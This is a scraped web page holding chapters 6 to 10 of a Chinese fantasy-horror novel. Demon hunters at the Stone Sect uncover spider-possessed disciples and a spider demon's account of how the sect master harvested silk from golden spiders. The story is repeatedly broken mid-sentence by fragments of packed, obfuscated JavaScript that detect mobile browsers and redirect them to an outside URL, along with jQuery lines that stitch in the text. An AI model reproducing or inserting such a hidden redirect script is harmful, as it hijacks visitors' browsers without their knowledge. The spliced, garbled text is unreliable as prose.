l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062580|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的三人都看了过来,纪泱泱心虚地打着哈哈。 酒当歌将目光重新放到卫磐石脸上:“卫门主,我听说山上有一间金丝作坊,不知您可知晓?” 卫磐石原本低着头发呆,脸上的油光被阴影尽数笼罩,闻言抬头看向四人,重新拾起笑。 纪泱泱忍不住在心里感慨:纵使肥胖,卫磐石的眉骨依旧突出,想必年轻时一定帅得很。 “金丝作坊么,”卫磐石的肘部生硬地弯折,继而带动整条手臂缓缓上扬,“确实就在这山上,”他胖胖的手指低垂,手腕猛然上折,食指跟着翘起,指了指自己的门主之位。 说不出来的奇怪。 纪泱泱不动声色地瞧着,脑中忽而冒出衣寸生的走路动作来。 “时辰不早了,诸位远道而来,想必一定舟车劳顿,”卫磐石脸上堆起恰到好处的歉意微笑,“弟子们住的西厢还有几间空房,请诸位贵客早些安歇,若有任何需求,拉床边铜铃自会有人照应。”言罢微微颔首,不等众人回话,已率先转身,仍旧由那两位弟子搀扶,急促的脚步声在空荡的回廊里响起,越来越远。 哪有把客人晾在这儿,自己先走的道理?纪泱泱目瞪口呆。 刚想着,大门又进来两个弟子。 “诸位请随我来。” 跟在两人身后,纪泱泱的眉头越皱越紧:一旦拿审视的眼光来看待石头门,就会发现这里所有人多少都沾着点儿不对劲——他们走路的动作简直与衣寸生如出一辙。 今天的月光确实很微弱,路上没有石灯,全靠这一抹微光,六人的影子淡得几乎不可见。 四周寂静极了,没有人说话,只有起此彼伏的走路声“吧嗒吧嗒”地响起,衬得这只有石头的建筑更加阴森。 再次经过一处拐弯时,纪泱泱终于忍不住出声:“这里……” “嘘!大家都睡下了!”其中一名弟子扭过头,警告似的狠狠瞪了她一眼。 纪泱泱心脏猛地一缩,瞪大眼,一股寒气从她的心底腾起,慢慢爬上了脊梁——那也叫眼睛?不知名虫子的拟态花纹像眼珠子一般嵌在人的眼眶,瞪自己时,似乎还从里面露出了毛茸茸的腿…… 她现在可以确定,这里的人绝对都不是活人,而他们,现在正在前往妖怪的聚集地…… 走在纪泱泱前头的莫云欲死死摁住酒当歌欲拔剑的手,到最后,俩人甚至有大打出手的意思。 两名弟子对后面的骚动充耳不闻,像是急于完成某种任务一样加快了脚步,带着四人不一会儿就到了。 依旧是石头垒成的房子,一眼望去全是灰色,甚至看不出屋顶与墙的区别;与厅堂左旁的耳房连接的抄手游廊尽头,画框一般严丝合缝地框住一扇门。 门上仅有一个人头大小的蜘蛛铺首,头朝下安在两扇门的最中间。 那个瞪纪泱泱的弟子将眼睛贴到蜘蛛前两排的镂空大眼上,额头当门环用,“叩叩”地往前直敲,石门被他撞得直发颤。 突然,随着“轰隆”一声巨响,门开了,但四人明明没见到有人来。 7. 第 7 章 吵架 纪泱泱脑袋里冒出的第一个词是“猪圈”,第二个词是“牢房”—— 一排排房间对门错开,一眼望到的尽头是茫茫的黑,窟窿一般,仿佛走进去就会一脚踏空,跌进无休止的深渊。 瞪纪泱泱的弟子推开离得最近的一扇门,面无表情地转向她:“这位同道,请。” 屋子里点了几根蜡烛,烛焰随着门开后窜入的气流剧烈晃了几下,家具变的炭灰色细长鬼影就跟着忽大忽小地扭曲着摇。 纪泱泱猛一哆嗦,向身后投去了求助的目光。 酒当歌瞬间捕捉到了她眼里的惊惶,但碍于那两名弟子,只能用口型安慰:“别怕。”她旁边的莫云欲用扇子遮住下半张脸,朝纪泱泱递去了个同情的眼神。而最后的白墨轩,看也不看纪泱泱,垂下黑眸盯着长在墙根的蘑菇,拧着眉,脸上的嫌弃都要溢了出来。 纪泱泱见求救无望,只得慢慢挪进房间,在关门的瞬间,掏出来了河虾花灯。 门外依旧是石头门弟子的声音:“三位同道,这边来。” 两名弟子一直守在房外的走廊,直到看见所有房间全都归于黑暗后,才悄然离去。 …… 睡前,纪泱泱将花灯里的蜡烛替换成了稳定的光符,刚伴着光好不容易把自己哄睡着,就听见一阵急促但轻浅的敲门声。 谁呢?大半夜的。纪泱泱意识朦胧地揉上眼,下一秒立刻警醒过来。 她掀开被子下床,轻轻地穿上鞋,蹑手蹑脚靠近门:“谁啊”,小声说着,将耳朵凑到了门上。 纪泱泱睡下时特意没和衣,防的就是此时此刻这种突发状况。 “是我。”门外传来酒当歌不加掩饰的豪迈嗓音,“泱泱,快出来!” 纪泱泱没想到,在这逼仄的建筑里,人说话的声音会显得这么大,她耳里“嗡”了一下,但是心下一喜。 师姐? 喜悦仅仅维持了一秒,纪泱泱立刻起疑。她维持着弯腰贴门的动作,轻声地问酒当歌—— “师父最喜欢喝的茶是?” “猫耳朵毛!” “师父坐骑的名字是?” “上可飞天·下可遁地·通晓阴阳·暗淡了日月星辰·璀璨了凡尘俗世·世界第一美丽·极品——” “够了,够了!”纪泱泱有点儿崩溃,忙不迭地打断酒当歌。 很好,是真的师姐。 师父养的那只臭屁东方白鹳,自第一次下山迷上了话本子后,就一发不可收拾,非要在自己名字里加上这些一念出口就尴尬到足以令剑霜山立刻崩塌的词,还强迫山里所有人都记住。 纪泱泱拉开门,忍不住愣在原地:“你们……” 三个人都穿戴整齐,头顶飘着一道光符,一齐围在自己门前,只是酒当歌与莫云欲之间的氛围有点儿微妙,像是刚吵过一架——莫云欲将折扇摇成了蒲扇,脸黑得跟炭一样,酒当歌双手环胸,看天,看地,就是不去看莫云欲。 纪泱泱见两人都没有要开口解释的意思,只得不明所以地看向白墨轩:“他俩怎么了?” 才过了半个晚上,怎么就成这样了? “怎么了?!”不等白墨轩开口,莫云欲猛地将扇子一合,“啪”的一声,惊雷一般炸响在空气中,“我是最后一个进房门的,所以理所应当地记住了所有人的房间。” 所以呢?纪泱泱依旧疑惑。 莫云欲握着扇子,突然指向酒当歌:“就在我去叫醒白同道时,蓦地撞见你师姐,你猜怎么了?” “怎么了?”纪泱泱被莫云欲额头上隆起的青筋吓得缩了缩脖子。 “你师姐正准备叫上白同道,一起偷偷去找金丝作坊!” “你懂什么,”酒当歌终于舍得白他一眼,“就是要趁着大半夜,打他们一个出其不意,措手不及!” “谁说这个了?我说的是你从来不跟我商量后再行动!”莫云欲的眼里似是要喷出火来,“万一你有个三长两短,我怎么办?!” 酒当歌一噎,她不想跟莫云欲吵,脸一偏,迅速躲开他的目光,抬脚就往外走,还顺势拉过一旁的纪泱泱,刻意转移了话题:“那两名石头门弟子走后,我就出来侦察了。” 像是佐证了她的话般,纪泱泱发现自己面前的西厢门是虚掩着的。 “你猜怎么着,还真叫我发现了一个门,直通石头门外!”酒当歌说着,使劲去拉门。 纪泱泱本想趁酒当歌松手的空当退到队伍最后,远离这片修罗场,奈何手臂下一秒就被酒当歌紧紧拉住,于是只得跟着她并排走在最前面。 一道视线自身后投来,直直地射向酒当歌,其中附着灼热的怒火,仿佛要连带着自己一起烧穿般。 不用想,绝对是莫云欲的,纪泱泱欲哭无泪:这不是关于师姐他们两人的争吵么,为什么会把自己卷进来…… 随着大门的打开,除了酒当歌外的三人立刻被吓了一跳—— 月亮还高高地挂在空中呢,外面竟黑得伸手不见五指,不用说路了,一点儿建筑物的轮廓都看不到,原本微弱的月光此刻更是不见一点踪迹。若不是有光符悬在头顶,纪泱泱差点都要以为自己瞎了。 “这是怎么了?”纪泱泱疑惑地看向酒当歌。 他们不会走反了吧?她有一种四人一下子掉进走廊尽头深渊的感觉。 “我睡不着,一直趴在窗上看,见所有人都偷偷跟着那两名弟子出了门,心下起疑,便跟在队伍后御剑飞上了天,结果发现他们都朝着山的背面去了。” 酒当歌叹了口气,继续解释道:“我自小就能看透结界、咒阵之类的术法,方才一跟出去,就看见整座山上方的月光被一道结界兜住,全都被吸到山的后面去了。” “能发动这种大规模的阵法,必然是实力与我不相上下的大妖。”酒当歌的面容十分严肃,“况且,山的背面一定是出了什么事,才值得小妖们全部往那里聚集——” “呵。”一旁突然传来一声讥诮,酒当歌皱起眉,向声音来源看去。 “你是觉着我的实力弱,配合你杀不了大妖,所以你就只叫了白同道,是么?”莫云欲明显压着一口气,像一口冒着岩浆的活火山。 “不是,”酒当歌无奈地闭了闭眼,“莫云欲,你能不能冷静一点?” 莫云欲冷静不了:“你总是这样,为什么就是不肯等我一起?” 酒当歌被压抑已久的怒火终于爆发出来:“为什么要等你一起?我本来就该单独行动,自始至终都没同意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062581|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你的加入!” “那你在青湖怎么不拒绝他们二人?” “那是因为我跟白同道刚好顺路,我不是也没叫泱泱么?此地不同于青湖,我能感觉到,金丝作坊里绝对存在着非比寻常的危险!” “当歌,我就不明白了,危险不是才更应该要大家一起面对么?” “莫云欲,能不能别闹了?!两年前的那次,你忘了么!” “你又提!” 二人一开始还压着声音,到最后,根本就是直接抛开了一切,冲对方几乎声嘶力竭地大喊。 “师姐……”纪泱泱走上前去,刚说出两个字,就被酒当歌推到一边。 纪泱泱只得蹭到白墨轩身边,用手肘捅了捅他,眼神朝酒当歌那边示意:劝一下架嘛。 白墨轩气定神闲地站在原地,手里撑着伞,看着吵得不可开交的二人,嘴角微微勾起,一副唯恐天下不乱的模样。 纪泱泱拽了拽他的衣角,眨巴着眼:求你,求你,求你求你求你求你求你…… 白墨轩依旧不为所动,甚至故意气她般从她手中抽走了衣袖:“纪同道,请你自重。” 白袖上的三只黑鸦拍拍翅膀从纪泱泱眼前飞走,继而垂在了白墨轩的身侧,纪泱泱甚至幻听到了黑鸦嘲笑的“啊——啊——”声。 疑惑从纪泱泱脑袋里冒出:他好端端的,大半夜换衣服干嘛? 不过现在不是问这个的时候——酒当歌两人已结束争吵,不约而同地别过头,不去看对方。 纪泱泱皱着一张脸,苦哈哈地上前去劝酒当歌:“师姐啊,你们两个人去太危险了,要不我们一起去吧,彼此之间也有个照应嘛。” 酒当歌的目光移到纪泱泱身上,面色缓和下来:“不行,泱泱,你听话……” “反正我是出来历练的嘛,早晚都是要独自面对妖怪的,何况现在有师姐你在,一定不会让我受伤的,对吧?” 酒当歌摇了摇头,耐着性子劝说:“泱泱,这次是真的不行,下次一定带你历练,好不好?” “酒同道,他俩一定会偷摸跟着去的。”一直看戏的白墨轩终于舍得开口,字里行间都带着几分戏谑,“尤其是这个纪同道啊,指不定会捅出什么大篓子来。” “嘁。”纪泱泱冲白墨轩翻了个白眼,忍不住大声反驳,“我哪里——” 不过在触及白墨轩使的眼色后,她选择了忍气吞声:“哈哈,是啊,我挺能捣乱的……”咬牙切齿。 白墨轩这话看似是在警告,实则是在为他们二人提供新思路,甚至细品的话,还能从中觉察出一丝威胁的意味。 闻言,酒当歌瞬间沉默下来,似是在思量,纪泱泱不由得在心里暗呼:难道真的有用? 可恶啊,自己到底要被白墨轩牵着鼻子走多久啊! 酒当歌望了眼莫云欲,见他眼神变得无比坚定后,轻轻呼出一口气:莫云欲是一定会跟着自己的,泱泱嘛,从这几日的相处来看,也绝对闲不住。何况她也不敢留她一人在此地。 她本想使法将纪泱泱他俩困在西厢房,可她不知道师父给了纪泱泱什么法宝,万一正好有克制她法术的……与其让他俩瞎转,还不如直接带上。 “算了,一起去吧。” 8. 第 8 章 蛛妖 酒当歌将三人领到抄手游廊和耳房连接的地方,停下了脚步。这面墙攀满了石头做的爬山虎,生动得像长上去的一般,它跟池子里的石头荷花一样,像门里特意造的景。 墙上有一扇明显的门,虽与墙一个颜色,但却明显不是一个厚度,它之所以能够被众人一眼看出,全是由于墙上的爬山虎虽密集,但门那一圈却有明显被扯断的方正轮廓。 “后退。”酒当歌利落地拔出剑,几道剑光劈下,墙上的爬山虎被震得尽数化作石沫簌簌落下,像劣质的雪般,灰蒙蒙的,在墙下形成一溜小石沫峰群。 酒当歌上前拉了几下门环,发现拉不开,干脆用脚抵住门旁的墙,两只手使劲去拽,铁门随着她的动作“当啷当啷”地晃。 “砰”的一声,门被酒当歌用蛮力拽开了。 一条小路竖在四人眼前,但看起来已有许多年头,上面的土早就被压实了,比起周边的泥土,明显凹进去一点,其上连半根草的影子都见不着,甚至石子儿也不见一颗。 四人还是来时的顺序:莫云欲打头阵,两张符纸依旧悬在头顶;酒当歌的手握在剑上,蓄势待发;纪泱泱像个被保护好的小孩,好奇地四处张望;白墨轩将伞撑在头顶,沉默地跟在队伍最后。 小路两旁是树,连成一片的黑密密的树。偶有几处灌丛嵌在树林里,丛中似乎藏着会发声的小虫,猝不及防地叫一声,似锈筝般呕哑嘲哳,仿佛随时会化成妖怪蹦出来一样。 这里虽让人觉着毛骨悚然,但纪泱泱看久了,便也不怎么害怕了,她大着胆子出声打破了寂静:“师姐,山的背面就是金丝作坊么?” “是。”酒当歌干脆且肯定地回答,“而且,卫门主指的也是这个方向。” 不等二人再说一句,走在最前方的莫云欲突然停下,伸出手臂拦住众人:“到了。” 不远处的金丝作坊亮着灯,坊前摆着三个大竹架,金丝布绸整齐地搭在那上面,像掺了金粉的稀蜡油融化成了一面面鎏金的墙。 作坊的青色琉璃瓦屋顶最右方插了四根空心竹竿,其上用略细的竹竿搭成几个“田”字,各色细细窄窄的布条缠在上头,随着风不住地摇摆。 疑惑爬上纪泱泱的心头:不是说小妖们都在这里了嘛,门口怎么也不留几只来看守? 酒当歌往前走了两步,停住,扭过头来对着莫云欲说道:“就是这里,”怕纪泱泱和白墨轩听不懂,又补充了一句,“结界的薄弱处。” 莫云欲掏出一张纪泱泱从未见过的纯白符纸,从中间竖着一撕两半,又将无齿的两边朝内像剪刀那般一上一下地叠好,符纸上的白色咒线霎时焕发出巨大的光芒。 “用它剪开结界,不会被察觉。”他走到酒当歌方才站过的地方,蹲下身子,用剪刀符纸的尖儿往空气里一扎,一道犹如蛋清一般质地透明的结界瞬间显现在众人眼前。 莫云欲自下而上地在结界上开了个一人高的口子,招呼三人快速通过。 四人由酒当歌带头,悄悄摸进了金丝作坊。 …… 鎏金檀木贵妃椅上铺了一层厚厚的金丝绸,在屋顶连枝灯的烛光下泛着幽幽冷光,四个石头门弟子如石像般跪伏在四周,斜躺在贵妃椅上的女人似是觉察到了什么,猛地扭动头颅,朝两扇窗分别看去。 蓦地,她将目光移到门口,一瞬不眨地盯着看,同时用两只手缓缓撑起纤细的身躯。随着衣料摩擦的窸窣声,三对人脚忽而从她的腰侧生出,活像只驮了个人彘的巨大蜘蛛。 她咧嘴一笑,一行清晰的字飘了出来—— “你们终于来了。” …… 半炷香前,四人如纪泱泱所料,畅通无阻地来到唯一亮着灯的屋前,一扇窗分别站了俩人,透过窗缝往里看。 “师姐,我看不到……”纪泱泱凑到窗前,使劲往屋子里瞧,然而除了模模糊糊的晃动身影,什么也看不见。 “嘘,从这儿看。”扒在左窗右边的酒当歌向纪泱泱招手,把自己的位置让给她,自己则在左边的窗户纸上轻轻抠了个小洞。 “谢谢师姐。”纪泱泱小心翼翼地攀住墙,从酒当歌所指的窗棂缝隙里望了进去。 一个没有五官的女人靠在贵妃椅上,身后是金丝做的厚厚的一道门帘,一个石头门弟子跪在她跟前,将一个陶罐高高地举过头顶,女人从中抓起一把黑乎乎的蜘蛛腿,随后躺了回去。 她扬起手,芝麻似的洒向那张白惨惨的脸,接着,另一个弟子取下身侧架子上搁着的毛笔,恭敬地递给女人。 女人接过来,手垂在椅旁,见此,又一个细细研磨着朱砂的石头门弟子,将研钵里的朱砂液体缓缓凑到了笔尖。 确保蘸满朱砂后,女人微微扬脸,将两滴朱砂在眼睛的位置抖落下去。 恐怖的一幕发生了:女人脸上的蜘蛛腿似有了意识一般,在她的脸上慢慢蠕动了起来,渐渐地,一个艳丽的五官被拼凑出来。 女人睁着一双血糊的双眼,猛地与纪泱泱对视上。 纪泱泱的呼吸停了一瞬,耳里嗡嗡作响,都快要忍不住尖叫出声。 酒当歌一把将纪泱泱从窗上扯下,带到空地,与同时飞身来到这里的白墨轩和莫云欲展开攻防兼备的战斗姿态。 几乎在一瞬间,“吱呀——”一声,房门被一名石头门弟子猛地拉开。 “回来。”里屋传出女人的声音,又尖又细。 石头门弟子闻言迅速关上门。 四人依旧维持着原来的动作,丝毫不敢轻举妄动。 不一会儿房门又被打开,刚刚那名弟子向四人走来,生硬地转动着眼球:“主人有请,各位请随我进屋里来。” 不等话音落地,酒当歌立即拔出剑,脚一蹬地就朝他挥去。 两只拳头大的蜘蛛在石头门弟子受击的瞬间,从他眼眶中飞出,肚子里各喷出一股金色蛛丝,酒当歌见状慌忙向旁边躲过去。 没了小妖的附身,石头门弟子的皮瞬间萎缩,变成了具被衣服包裹住的骷髅,倒在了地上。 莫云欲迅速掏出一张火符,手腕用力,分别扔向连着蛛丝那头的两只小妖。 然而符纸打在小妖身上,如同废纸一般飘到了地上。 纪泱泱看着地上的火符,默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062582|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地把从芥子袋里拿出的一沓符纸放回去。 门里又走出来三名石头门弟子,“请各位随我进屋。”他们一齐重复着同样意思的话,呆滞地像木偶一样。 没了石头门弟子皮囊的小妖则迅速窜回了屋内。 白墨轩握着合起来的白玉骨伞,往前一挥,三名弟子的皮剥落落地掉下来,露出了里面的金丝蛛。白墨轩抖了抖伞,疑惑地看向自己的伞尖。 “回来吧。”屋子的门被再度打开,只不过这次没有石头门弟子出来。 “我没想到,你们来的竟如此之快。”蛛妖用后背对着四人,从屋子里爬了出来,一组倒置的五官凭空生在她的脸上——除了她自己画上去的一对朱砂眼,还有六只逐个减小的金色眼睛长在了朱砂眼的上方。 蛛妖的脸中央,山根的两端各连着鼻翼,下鼻翼下面是一张正常大小的嘴,上鼻翼上面是一对长长的锋利口器,隐没在黑密的头发中。 “攻击力还蛮强的,不枉我特意分出妖怪,从石头门将你们引过来,”蛛妖看着自己眼前的四名捉妖人,眯起眼,“若是放任你们不管,那还得了。” 酒当歌才不管蛛妖说什么,提剑就要砍她。 蛛妖冷哼一声:“出来吧。”说着拍了拍手,四人只觉得什么东西顺着衣服爬上了自己的脖子。 指甲大小毛茸茸的蜘蛛。 在看清那是什么之后,纪泱泱惊叫一声,跳着脚想要将蜘蛛给拍掉。然而那蜘蛛在她身上跳来跳去,依旧牢牢扒在她脖子上,像长在了上面一样。 莫云欲用火符连蜘蛛带脖子一起压住,火焰“呼啦”一下子烧了起来,待他移开符纸后,惊异地发现,蜘蛛居然连一根毛也没少。 酒当歌拿起剑,对准蜘蛛,在蜘蛛灵巧一避,但自己差点自刎后,怏怏地放下了剑。 白墨轩在看到莫云欲用火符也伤不到蜘蛛时,眉毛皱得都能夹死一只苍蝇。 蛛妖见四人各凭本事,但出尽了丑也没杀死蜘蛛后,嘲讽一笑,她懒懒提醒道:“别乱动,不然……”言虽尽但意未绝。 纪泱泱脖子上的蜘蛛挠了她一下,露出了泛着蓝光的口器,把她吓得身子一抖,一道寒气从她脚底升起,顺着脊椎直顶天灵盖,纪泱泱忍不住打了个颤。 虽然她不怕虫子,但并不耽误她觉着恶心啊!况且还是这么大,腿这么多,随时随地都有可能朝着她脖子来上一口的蜘蛛妖! 这些蜘蛛什么时候爬到了他们身上?不会是在——“小树林?” “不错,很聪明嘛。”蛛妖赞许地看了纪泱泱一眼,继续道,“你们现在可以老老实实地进屋了么?” “你想怎样?”酒当歌忿忿地收了剑,对蛛妖怒目而视。 蛛妖不理她,自顾自问道:“你们可曾听说过,‘尸廆山的尸,不是人类的尸’这句话么?” 四人一下子瞪大了眼。 “你怎么知道?” “我怎么知道?”蛛妖咧开嘴,嘲讽地笑了两声,“我怎会不知?”她反问。 蛛妖转身进了屋子,四人紧随其后,屋里的石头门弟子关上了门。 9. 第 9 章 金丝旧事·壹 金丝蛛,每一百年必会经历一次繁殖爆发期。 天性使然,雌蛛产完卵就离开了此前精心挑选的洞穴,冷漠地留下自己的孩子们。 尸廆山阴气浓重,山高近月,金丝蛛在此地又没有天敌,存活久者吸收日月精华,开灵智,化人形,练妖丹。 三十年前,山里妖崇频出,常有村民上山采药后失踪。山下最大的绸缎坊主衣飞空的独女衣寸生,在采桑时也被妖怪掳走,不知所踪。 年轻的道士卫磐石刚入江湖游历,听闻此事,当即整理道袍,背上剑和黄符,带着一腔“除妖卫道”的热血,独自前往尸廆山去了。 他符术娴熟,剑法凌厉,短短七日里,几乎除尽了尸廆山上的妖,还在一个山洞里救出了奄奄一息的衣寸生和几个没被妖怪吃掉的村民。 面对玉树临风的卫磐石,情窦初开的少女立刻喜欢上了她的救命恩人。 卫磐石带着救下的众人回到金丝县后,独女失而复得的衣飞空为表感谢,在县里大摆宴席,“卫道长”的名号随着他的宣传很快传遍了大街小巷。 几个月后,卫磐石没再继续游历,而是在半山腰建立了“石头门”,还收了十余个弟子。衣飞空听说后,亲自登门要将衣寸生许配给他。 红绸绕门的那夜,卫磐石和衣寸生对着合卺酒,许下了共白头的誓言—— 见日之光,长毋相忘。 “可哪有那么容易?”蛛妖重日盯着纪泱泱四人的脸,喃喃低语:“哪有那么容易……” 二人婚后的某天,衣寸生满心欢喜地坐在金丝楼窗前绣着点翠屏风,想着绣完这一活招牌,前来买衣裳的人一定大大增加,钱赚得多多的,到时,再给自己夫君配一把顶好的剑。 她想:今早为夫君更衣时,他挂在腰间的那把老剑,剑柄都有锈迹了……衣寸生嘴角微微勾起,手里的针娴熟地穿梭在丝绢中。 他真努力啊……不知何时起,每天都早出晚归,为了那些金丝线,忙前忙后的—— 衣寸生的动作突然顿住。 金丝线……金丝线是哪里来的?她只记得卫磐石突然叫人抬着一箱穿好的金丝线轴来到绸缎纺,让她用这些线做出一件衣裳来。 她按要求做好拿去后,夫君眼中那抹过于炽热的光,像烧红的烙铁,在她心头烫出一片不安。 “怕不是是盗墓贼窝里搜罗出来的!”旁人不掩恶意的猜忌响起的瞬间,衣寸生被自己的心声吓了一跳。 她剪断线,顺出针,跑到窗边,对着窗外的阳光仔细瞅着那截金丝线。 丝线泛着冷亮的光,较发丝粗,无筝线细;用指甲狠狠一刮,黏腻的似树脂般的液体就留在指甲里;若是拿线的两端缠在手上,使劲一扯,也绝不会断,倒是手指被勒出两道深深的血痕。总的来说,这绝不是会是卫磐石口中“寻常的蚕丝裹金”。 如此想着,盗墓而出的念头忽地再次涌上心头,衣寸生捏着金丝的手指因恐慌而开始颤抖,连带着手里的金线也在微微抖动。 如果真是这样的话,闹事、赔钱、谩骂都是小事,爹爹经营了大半辈子的绸缎坊将毁于一旦,夫君也必被群起而攻之……更糟的,她不敢继续往下想了。 万事以眼见为真,她一定要问出个真相。衣寸生放下线,快步往外走去。 “她去哪了?”纪泱泱小心翼翼地问重日,眼睛偷偷往旁边瞥去——师姐还没搞定么? 酒当歌摇了摇头。 重日的面孔已经完全退化为兽脸,声音也开始变得嘶哑。 “金丝作坊。” 默念了一遍牌匾上的字,衣寸生深吸一口气,推开了眼前的金漆大门。她知道夫君在石头门的背后建了一个新作坊,专门为县里的金丝楼提供金丝线。 作坊里的所有东西都是在她和爹爹眼皮子底下操办的,可他们二人却从未见过金丝线的原料。 怀着如此疑惑,衣寸生拉开了内门,当即被屋内的景象吓了个半死—— 一排排缫丝车填满了整个屋子,每个车前都有一名石头门弟子,他们带上手套,从拳头大小但形躯可怖的金色蜘蛛尾部扯出线,缠到装有一个转轴的木制滚轮——像两个马车辐拼装在一起,再使力转动摇把。 蜘蛛头朝下,八条腿在空中无力地挣扎,它们凄厉地尖啸,拼命吐着丝,以为这样就能垂到地面,但下一秒又被自己的丝线无情地拉了上去。 等到缫丝车把它们肚子里的丝液榨干,石头门弟子就将干瘪的蜘蛛随意丢进竹筐,再从一边的铁笼中拿出一只新的,重新缠在滚轮上。 骨头摩擦似的尖锐声响灌满了整个屋子,让人犹如身在森然地狱一般毛骨悚然。 原来……原来…… 目光扫过西南角时,衣寸生的太阳穴开始突突地跳——一个满身血污的小女孩蜷缩在墙角,周围围了一圈持符的人。为首的卫磐石举着剑,剑尖猛地从她腰侧抽出,剑上沾着的鲜血也随之滴落在地。 “不要伤着她的肚子。”卫磐石对周围的人说道,声音极其冷漠。话音刚落,围在那里的人纷纷举起手里的符纸,眼看着就要对小女孩下手—— “你们干什么!”衣寸生尖叫了一声,冲过去,直直地撞开人群,护在小女孩身前。 “卫夫人?”周围的石头门弟子一惊,你看看我,我看看你,拿着符纸观察卫磐石的表情,犹豫要不要继续动手。 小女孩空洞的双眼再次聚焦,抬头看向挡在自己身前的女人。 “阿生,你来了?”卫磐石闻声折返回来,下意识将手里的剑往身后藏,脸上是不加掩饰的惊讶,“怎么不去门里等我?” “我就是从门里来的,没人在——”衣寸生的声音因愤怒而略微发抖。 卫磐石暗自懊恼——对,是他把门里的人全叫到了作坊——自己每天都在石头门设防,可怎么偏偏今天……也怪这小丫头死倔,怎么都不肯变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062583|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回原形。 衣寸生望着卫磐石两脚之后缓慢散开的一滩血,心头突然一颤——那把佩剑上不起眼的暗红色,或许不是单纯使用过久的锈迹,而是染了血后,没擦干净的印子。 “阿石,我问你,这是在干什么?”衣寸生把小女孩拉了起来,轻拍后背安抚她。 话音刚落,她在心里苦笑一声:自己真是多余问一嘴,这不都摆在眼前了么? “她是妖!是和这满屋子金丝蛛一模一样的妖!”卫磐石忽然激动起来,见衣寸生似乎被自己吓到了,声音立刻又软了下去:“阿生,离她远一点好么?” “她可曾伤过人?”衣寸生的声音比刚才沉了些,她没问卫磐石,而是看向了一旁默不作声的弟子们,挑了个看起来最老实的,“你说。” 被问到的石头门弟子摇了摇头:“她才刚化形,怎么可能——。”话音未落,肚子被旁边的人猛地一捅,示意他闭嘴。 石头门弟子反应过来,懦懦地看了眼卫磐石,没敢再张口。 “事已至此,阿生,我也没有隐瞒的必要了。”卫磐石轻轻叹了口气,“在我很小的时候,祖父曾给我讲过关于金丝蛛的传说。” “古代的古代,一个以养蚕谋生的农人因大雾误入了一座高山,他在茂密的草丛里不仅发现了一块刻着‘尸廆山’的石碑,还发现一种特殊的蜘蛛,其丝韧如牛筋,色泽华丽无比,他立刻想到,用蛛丝代替蚕丝,必将在织坊生意中占得先机,这简直就是天赐的商机。 “可这座山的名字如警钟一般时刻在他的脑中敲响,‘怕不是此山太过危险,特立下此碑来告诫后人……’他提心吊胆地捉蛛,可什么事也没发生,只有自己的腰包日渐鼓了起来。 “尝到了甜头后,他开始每天起早贪黑地捕捉金丝蛛,生意好得不得了,简直开辟了纺织的另一个天地。终有一天,在村民的眼红逼问下,他将发财的过程和盘托出,小小的村子里突然掀起了捕蛛的风潮,每家每户都抛弃了自己的家业,转为纺织,众人门前渐渐堆满了金银财宝。 “日子一天天过去,大家齐心协力将金丝蛛捉得几乎灭绝后,终于遭到了报应。 “首当其冲的便是那第一个发现金丝蛛的人,他的身体开始变得僵硬无比,最初还需要别人的搀扶,后来根本甩开了拐杖,完全变成了皮影戏的主角,最后他瘫在床上,对前来慰问的人们发出了生命结束前的最后一声警告:‘尸廆山的尸,不是人类的尸,是金丝蛛的尸!不要让金丝蛛传出村里,否则会危害更多的人!’他死后,村民带着自己的家当,全都离开了村子。” “既然那个村民遭到了报应,你为什么还要重蹈覆辙?”衣寸生开始担忧,“诅咒什么时候会降临?” 卫磐石不屑地冷哼一声:“诅咒?那不过是无稽之谈,他是被妖怪附身了而已。”卫磐石的声音渐渐低了下去,“这般藏于深山的生灵,我在祖父灵前发了誓,一定要找到它们……” 10. 第10章 金丝旧事·贰 “一年前,我费尽了心思,终于打听到此山的位置,”卫磐石咧开了嘴,“兴许是上天眷顾,进入此山后,我立刻就发现了金丝蛛的踪迹。” “最初,我就是用这浸了雄黄水的袋子捕捉它们。”他摩挲起腰间一个黑漆漆的布袋,眼里闪着得意的光,“这金丝蛛生性警觉,动作迅捷,不过弱点也十分明显——极畏纯阳之气。” 